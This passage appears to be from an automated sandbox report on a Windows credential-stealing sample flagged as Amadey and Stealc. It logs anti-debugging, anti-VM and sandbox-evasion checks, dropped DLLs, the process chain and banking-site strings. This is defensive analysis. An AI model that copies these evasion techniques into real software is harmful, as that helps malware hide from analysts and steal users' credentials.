Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D63D second address: 96D65A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F332CB40D11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D65A second address: 96D65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D788 second address: 96D795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D795 second address: 96D7A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F332D370A46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D7A1 second address: 96D7A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96D7A8 second address: 96D7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96DA57 second address: 96DA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96DA5D second address: 96DA61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96DA61 second address: 96DA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F332CB40D0Ch 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96DEBB second address: 96DEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 940CC5 second address: 940CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96E15F second address: 96E163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96E712 second address: 96E717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96E879 second address: 96E881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96E881 second address: 96E887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96E887 second address: 96E88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EA16 second address: 96EA2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EA2B second address: 96EA3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EA3B second address: 96EA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F332CB40D16h 0x0000000f pushad 0x00000010 jmp 00007F332CB40D19h 0x00000015 pushad 0x00000016 popad 0x00000017 js 00007F332CB40D06h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EA7F second address: 96EA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F332D370A46h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EA8C second address: 96EA90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EBDC second address: 96EBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EBE2 second address: 96EBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EBE6 second address: 96EBEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EBEC second address: 96EBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EBF0 second address: 96EBFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 965138 second address: 96513E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96513E second address: 965142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EE9E second address: 96EEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EEA4 second address: 96EECD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F332D370A46h 0x00000008 js 00007F332D370A46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F332D370A4Dh 0x00000018 pop eax 0x00000019 ja 00007F332D370A4Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EECD second address: 96EED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	RDTSC instruction interceptor: First address: 96EED7 second address: 96EEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92FBBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92FC9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92FBE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92D542 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0ACC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AE9CD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B677F6 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Special instruction interceptor: First address: 7BEAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Special instruction interceptor: First address: 973A2D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Special instruction interceptor: First address: 7BC67A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Special instruction interceptor: First address: 7BE9DA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Special instruction interceptor: First address: A08918 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 20EAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3C3A2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 20C67A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 20E9DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 458918 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCGDGCFBAEG.exe

Code function: 22_2_05410B41 rdtsc

22_2_05410B41

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6768	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 320	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5728	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4320	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5804	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6804	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1864	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1472	Thread sleep time: -810000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1472	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsCGDGCFBAEG.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001A.00000002.3318946816.00000000003A2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: DAAECAFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DAAECAFH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: DAAECAFH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2571128740.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2571128740.0000000001371000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3322657185.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3322657185.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: DAAECAFH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: DAAECAFH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: DAAECAFH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DAAECAFH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: DAAECAFH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: DAAECAFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DAAECAFH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DAAECAFH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware46_!
Source: DAAECAFH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: DAAECAFH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DAAECAFH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: DAAECAFH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: DAAECAFH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DAAECAFH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: DAAECAFH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2570132125.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp, DocumentsCGDGCFBAEG.exe, 00000016.00000002.2665093947.0000000000952000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2714264082.00000000003A2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2718976103.00000000003A2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3318946816.00000000003A2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DAAECAFH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: DAAECAFH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCGDGCFBAEG.exe

Code function: 22_2_05410B41 rdtsc

22_2_05410B41

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001D652B mov eax, dword ptr fs:[00000030h]		26_2_001D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001DA302 mov eax, dword ptr fs:[00000030h]		26_2_001DA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDGCFBAEG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDGCFBAEG.exe "C:\Users\user\DocumentsCGDGCFBAEG.exe"
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2570132125.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.DocumentsCGDGCFBAEG.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000003.2673688433.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2663151465.0000000000751000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3318396371.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2575038334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.3267610783.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2718840305.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2714143014.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2678496819.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2569376590.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
